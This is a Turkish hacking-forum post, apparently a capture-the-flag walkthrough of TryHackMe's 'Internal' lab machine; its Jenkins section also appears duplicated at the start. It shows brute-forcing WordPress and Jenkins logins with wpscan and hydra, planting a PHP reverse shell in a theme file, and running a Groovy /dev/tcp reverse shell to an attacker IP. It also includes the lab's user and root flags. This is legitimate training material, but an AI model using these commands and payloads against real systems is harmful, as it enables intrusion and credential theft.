Referer: http://internal.thm:8888/login?from=/
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Connection: close
Cookie: JSESSIONID.fb3308f2=node0lfk0eau5l4zu17h43ifl0scpw36.node0
Upgrade-Insecure-Requests: 1

j_username=admin&j_password=admin&from=%2F&Submit=Sign+in
Artık gerekli tüm bilgilere sahibiz. İşte hidra saldırısı:
kali@kali:/data/src$ hydra -l admin -P /usr/share/wordlists/rockyou.txt internal.thm -s 8888 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (GitHub - vanhauser-thc/thc-hydra: hydra) starting at 2020-09-03 15:40:12
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://internal.thm:8888/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password
[STATUS] 396.00 tries/min, 396 tries in 00:01h, 14344003 to do in 603:43h, 16 active
[8888][http-post-form] host: internal.thm login: admin password: spongebob
1 of 1 target successfully completed, 1 valid password found
Hydra (GitHub - vanhauser-thc/thc-hydra: hydra) finished at 2020-09-03 15:41:31
Artık yöneticinin şifresi elimizde. ile http://internal.thm:8888 bağlanalım. admin:spongebob
Artık Jenkins'e yönetici erişimimiz olduğuna göre, komutları çalıştırabiliriz ve sonuçta bunu ters bir kabuk için kullanacağız.
Bir dinleyici çalıştırarak başlayın (makinenizde):
$ rlwrap nc -nlvp 5555
Şimdi, Jenkins'te , "Jenkins > Düğümleri > yöneticisi" ne gidin ve menüden "Script Console" a tıklayın. Aşağıdaki komutu yürütün (burada bulunur):
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.8.50.72/5555;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
İlk SSH bağlantımıza şöyle geri dönelim: aubreanna
aubreanna@internal:/var/backups$ su root
Password:
root@internal:/var/backups# cd /root/
root@internal:~# ll
total 48
drwx------ 7 root root 4096 Aug 3 13:16 ./
drwxr-xr-x 24 root root 4096 Aug 3 01:31 ../
-rw------- 1 root root 193 Aug 3 20:01 .bash_history
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Aug 3 02:23 .cache/
drwx------ 3 root root 4096 Aug 3 02:23 .gnupg/
drwxr-xr-x 3 root root 4096 Aug 3 01:53 .local/
-rw------- 1 root root 1071 Aug 3 13:16 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 2 root root 4096 Aug 3 01:40 .ssh/
-rw-r--r-- 1 root root 22 Aug 3 04:13 root.txt
drwxr-xr-x 3 root root 4096 Aug 3 01:41 snap/
root@internal:~# cat root.txt
THM{d0ck3r_d3str0y3r}

CTF bitti cevaplar:
Kullanıcı bayrağı: THM{int3rna1_fl4g_1}
Kök bayrağı: THM{d0ck3r_d3str0y3r}

İlla bi özet geçmek gerekirse şu şekildedir:
Nmap ettik site bulunduğunu gördük
Gobuster ile taradık wordpress olduğunu gördük
Wpscan ile zorladık admin paneli kullanıcı adı ve şifresini aldık
Sonra ters kabuk ettik
/opt klasörünün içine gittik ve orada wps-save.txt yi açtık
Diğer kullanıcı ile bağlandık giriş klasörüne gittik.
Dosyaları karıştırırken kullanıcı bayrağını bulduk
Biraz daha ilerledik localhost 8080 ile bakılabileceğini bulduk
Oradan localhost için 8888 limanını aldık ssh bağlandık
Root.txt ye baktık root bayrağı CTF i bitirdik.
Elinize sağlık
 

TOZQOPARAN

Uzman üye
3 Nis 2021
1,257
3
678
Eski Anka Underground Tim
Merhaba THT üyeleri bugün sizlere Tryhackme’de bulunan internal makinesinin çözümünü göstereceğim. Daha fazla sizi bekletmeden çözüme geçeyim :) .

Zorluk: Sert
Link: TryHackMe | Internal

Çoğu makine yaptığımız gibi ilk standart bir nmap taraması yapalım
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
| 256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_ 256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Tarama sonuçlarından dosya elde edemedik ama bir ssh servisi ve Apache/2.4.29 http serverımız(bloğumuz) var

Bloğun daha detayına inmek için gobuster ile bi tarama daha yapıyorum

gobuster dir -u http://internal.thm -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://internal.thm
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/09/03 14:28:32 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/blog (Status: 301)
/index.html (Status: 200)
/javascript (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
/wordpress (Status: 301)
===============================================================
2020/09/03 14:29:00 Finished
===============================================================

Wordpress olduğunu görmüş olduk şimdi wordpress siteleri için en çok kullanılan toollardan olan wpscan ile tarayalım. Wpscan’ın paremaetreleri tamamen ayrı birr konu Google’da aratarak bulabilirsiniz.
wpscan --url http://internal.thm/blog -e u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.4
Sponsored by Automattic - Automattic
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://internal.thm/blog/ [10.10.137.187]
[+] Started: Thu Sep 3 14:36:16 2020

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://internal.thm/blog/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - XML-RPC Pingback API « WordPress Codex
| - WordPress XMLRPC GHOST Vulnerability Scanner
| - Wordpress XMLRPC DoS
| - Wordpress XML-RPC Username/Password Login Scanner
| - Wordpress Pingback Locator

[+] http://internal.thm/blog/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://internal.thm/blog/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - How to defend Wordpress from DDoS attacks?
| - WP-Cron detection? · Issue #1299 · wpscanteam/wpscan

[+] WordPress version 5.4.2 identified (Latest, released on 2020-06-10).
| Found By: Rss Generator (Passive Detection)
| - http://internal.thm/blog/index.php/feed/, <generator>Blog Tool, Publishing Platform, and CMS - WordPress.org</generator>
| - http://internal.thm/blog/index.php/comments/feed/, <generator>Blog Tool, Publishing Platform, and CMS - WordPress.org</generator>

[+] WordPress theme in use: twentyseventeen
| Location: http://internal.thm/blog/wp-content/themes/twentyseventeen/
| Last Updated: 2020-08-11T00:00:00.000Z
| Readme: http://internal.thm/blog/wp-content/themes/twentyseventeen/readme.txt
| [!] The version is out of date, the latest version is 2.4
| Style URL: http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507
| Style Name: Twenty Seventeen
| Style URI: Twenty Seventeen
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: Blog Tool, Publishing Platform, and CMS - WordPress.org
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 2.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <=======================================> (10 / 10) 100.00% Time: 00:00:00

User(s) Identified:

[+] admin

| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://internal.thm/blog/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Thu Sep 3 14:36:20 2020
[+] Requests Done: 24
[+] Cached Requests: 34
[+] Data Sent: 5.936 KB
[+] Data Received: 181.104 KB
[+] Memory used: 172.43 MB
[+] Elapsed time: 00:00:03
WPScan'a göre, tek kullanıcı . WPScan'ın bruteforce özelliğini kullanarak şifreyi zorlamaya çalışalım.
wpscan --url http://internal.thm/blog -U admin -P /usr/share/wordlists/rockyou.txt

[REDACTED]

[!] Valid Combinations Found:

| Username: admin, Password: my2boys

[REDACTED]

Admin panelin şifresi ve kullanıcı adını bulduk. Şimdi admin paneline(http://internal.thm/blog/wp-admin/) gidip kullanıcı adı ve şifreyi girdik doğru. Şimdi şablonların php kaynak kodunu değitirerek ters kabuk oluşturacağız. Web arayüzünde "Görünüm > Tema Editörü > 404.php" e gidin ve PHP kodunu bir PHP ters kabuğuyla değiştirip bir bağlantı daha açıp şablonu çağıracağız

$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.137.187] 51322
Linux internal 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

12:46:33 up 23 min, 0 users, load average: 0.02, 0.20, 0.18
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@internal:/$ whoami
whoami
www-data

ters kabuk çalışıyor şimdi yanal hareketle yetki yükseltmeye ve diğer kişilerin hesaplarına gireceğiz. Bir dizin var /opt buradan wp-save.txtyi görüntüleyin

Bill,

Aubreanna needed these credentials for something later. Let her know you have them and where they are.

aubreanna:bubb13guM!@#123

www-data@internal:/opt$ su aubreanna
su aubreanna
Password: bubb13guM!@#123

aubreanna@internal:/opt$ whoami
whoami
aubreanna

şimdi aubreanna adında biriyiz :)
giriş klasörüne bakıyoruz:

aubreanna@internal:/opt$ cd /home/aubreanna
cd /home/aubreanna
aubreanna@internal:~$ ls -la
ls -la
total 56
drwx------ 7 aubreanna aubreanna 4096 Aug 3 03:57 .
drwxr-xr-x 3 root root 4096 Aug 3 01:40 ..
-rwx------ 1 aubreanna aubreanna 7 Aug 3 20:01 .bash_history
-rwx------ 1 aubreanna aubreanna 220 Apr 4 2018 .bash_logout
-rwx------ 1 aubreanna aubreanna 3771 Apr 4 2018 .bashrc
drwx------ 2 aubreanna aubreanna 4096 Aug 3 01:41 .cache
drwx------ 3 aubreanna aubreanna 4096 Aug 3 19:36 .gnupg
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:53 .local
-rwx------ 1 root root 223 Aug 3 01:56 .mysql_history
-rwx------ 1 aubreanna aubreanna 807 Apr 4 2018 .profile
drwx------ 2 aubreanna aubreanna 4096 Aug 3 02:38 .ssh
-rwx------ 1 aubreanna aubreanna 0 Aug 3 01:41 .sudo_as_admin_successful
-rwx------ 1 aubreanna aubreanna 55 Aug 3 03:57 jenkins.txt
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:41 snap
-rwx------ 1 aubreanna aubreanna 21 Aug 3 03:56 user.txt
aubreanna@internal:~$ cat user.txt
cat user.txt
THM{int3rna1_fl4g_1}

Kullanıcı bayrağı alındı şimdi hedef root bayrağı var.
Kök bayrağı için root olmaya çalıştık ama maalesef:

aubreanna@internal:~$ sudo -l
Sorry, user aubreanna may not run sudo on internal.

Şimdi en son bulduğumuz klasörleri karıştırıyoruz:

aubreanna@internal:~$ ls -la
ls -la
total 56
drwx------ 7 aubreanna aubreanna 4096 Aug 3 03:57 .
drwxr-xr-x 3 root root 4096 Aug 3 01:40 ..
-rwx------ 1 aubreanna aubreanna 7 Aug 3 20:01 .bash_history
-rwx------ 1 aubreanna aubreanna 220 Apr 4 2018 .bash_logout
-rwx------ 1 aubreanna aubreanna 3771 Apr 4 2018 .bashrc
drwx------ 2 aubreanna aubreanna 4096 Aug 3 01:41 .cache
drwx------ 3 aubreanna aubreanna 4096 Aug 3 19:36 .gnupg
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:53 .local
-rwx------ 1 root root 223 Aug 3 01:56 .mysql_history
-rwx------ 1 aubreanna aubreanna 807 Apr 4 2018 .profile
drwx------ 2 aubreanna aubreanna 4096 Aug 3 02:38 .ssh
-rwx------ 1 aubreanna aubreanna 0 Aug 3 01:41 .sudo_as_admin_successful
-rwx------ 1 aubreanna aubreanna 55 Aug 3 03:57 jenkins.txt
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:41 snap
-rwx------ 1 aubreanna aubreanna 21 Aug 3 03:56 user.txt

Jenkins.txt adında bir dosya var görüntüleyelim:

Internal Jenkins service is running on 172.17.0.2:8080

Büyük ihtimalle ya localhosttur yada ayrı makineden bağlanmamız gerekir bunu anlamak için:

aubreanna@internal:~$ netstat -tan | grep 8080
tcp 0 0 127.0.0.1:8080 0.0.0.0:*LISTEN
Docker'ın hedefte mevcut olduğuna dair birkaç gösterge vardır ve Jenkins belgeleri (Installing Jenkins) Jenkins'in docker ile nasıl kurulacağı açıklandığı için, Jenkins'in bu şekilde yüklendiğini varsayabiliriz. Buna bir el atalım bakalım olacak mı?
Jenkins'i bize kullanılabilir hale getirmek için (sadece localhost yerine), bağlantı noktalarını yeniden yönlendirmek için kullanabiliriz. Hedefte mevcut olmadığı için, onu transfer etmeliyiz. Bunu şu şekilde yapabilirsiniz: socat
Saldırıgan yani biz:
$ which socat
/usr/bin/socat
kali@kali:/data/Internal$ cd /usr/bin/
kali@kali:/usr/bin$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

En son bağlandığımız kişide:
aubreanna@internal:~$ cd /tmp/
aubreanna@internal:/tmp$ wget http://10.8.50.72:8000/socat
aubreanna@internal:/tmp$ chmod +x socat
aubreanna@internal:/tmp$ ./socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80 &
şimdi 8888 portu bize açık localhostta tmmdır. Hesabı zorlamak gerek.
Hydra saldırımızı oluşturmak için Burp Suite'teki POST talebini engelleyin.
POST /j_acegi_security_check HTTP/1.1
Host: internal.thm:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://internal.thm:8888/login?from=/
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Connection: close
Cookie: JSESSIONID.fb3308f2=node0lfk0eau5l4zu17h43ifl0scpw36.node0
Upgrade-Insecure-Requests: 1

j_username=admin&j_password=admin&from=%2F&Submit=Sign+in
Artık gerekli tüm bilgilere sahibiz. İşte hidra saldırısı:
kali@kali:/data/src$ hydra -l admin -P /usr/share/wordlists/rockyou.txt internal.thm -s 8888 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (GitHub - vanhauser-thc/thc-hydra: hydra) starting at 2020-09-03 15:40:12
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://internal.thm:8888/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password
[STATUS] 396.00 tries/min, 396 tries in 00:01h, 14344003 to do in 603:43h, 16 active
[8888][http-post-form] host: internal.thm login: admin password: spongebob
1 of 1 target successfully completed, 1 valid password found
Hydra (GitHub - vanhauser-thc/thc-hydra: hydra) finished at 2020-09-03 15:41:31
Artık yöneticinin şifresi elimizde. ile http://internal.thm:8888 bağlanalım. admin:spongebob
Artık Jenkins'e yönetici erişimimiz olduğuna göre, komutları çalıştırabiliriz ve sonuçta bunu ters bir kabuk için kullanacağız.
Bir dinleyici çalıştırarak başlayın (makinenizde):
$ rlwrap nc -nlvp 5555
Şimdi, Jenkins'te , "Jenkins > Düğümleri > yöneticisi" ne gidin ve menüden "Script Console" a tıklayın. Aşağıdaki komutu yürütün (burada bulunur):
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.8.50.72/5555;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
İlk SSH bağlantımıza şöyle geri dönelim: aubreanna
aubreanna@internal:/var/backups$ su root
Password:
root@internal:/var/backups# cd /root/
root@internal:~# ll
total 48
drwx------ 7 root root 4096 Aug 3 13:16 ./
drwxr-xr-x 24 root root 4096 Aug 3 01:31 ../
-rw------- 1 root root 193 Aug 3 20:01 .bash_history
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Aug 3 02:23 .cache/
drwx------ 3 root root 4096 Aug 3 02:23 .gnupg/
drwxr-xr-x 3 root root 4096 Aug 3 01:53 .local/
-rw------- 1 root root 1071 Aug 3 13:16 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 2 root root 4096 Aug 3 01:40 .ssh/
-rw-r--r-- 1 root root 22 Aug 3 04:13 root.txt
drwxr-xr-x 3 root root 4096 Aug 3 01:41 snap/
root@internal:~# cat root.txt
THM{d0ck3r_d3str0y3r}

CTF bitti cevaplar:
Kullanıcı bayrağı: THM{int3rna1_fl4g_1}
Kök bayrağı: THM{d0ck3r_d3str0y3r}

İlla bi özet geçmek gerekirse şu şekildedir:
Nmap ettik site bulunduğunu gördük
Gobuster ile taradık wordpress olduğunu gördük
Wpscan ile zorladık admin paneli kullanıcı adı ve şifresini aldık
Sonra ters kabuk ettik
/opt klasörünün içine gittik ve orada wps-save.txt yi açtık
Diğer kullanıcı ile bağlandık giriş klasörüne gittik.
Dosyaları karıştırırken kullanıcı bayrağını bulduk
Biraz daha ilerledik localhost 8080 ile bakılabileceğini bulduk
Oradan localhost için 8888 limanını aldık ssh bağlandık
Root.txt ye baktık root bayrağı CTF i bitirdik.
Ooo eline emeğine sağlık başarılarının devamını dilerim
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.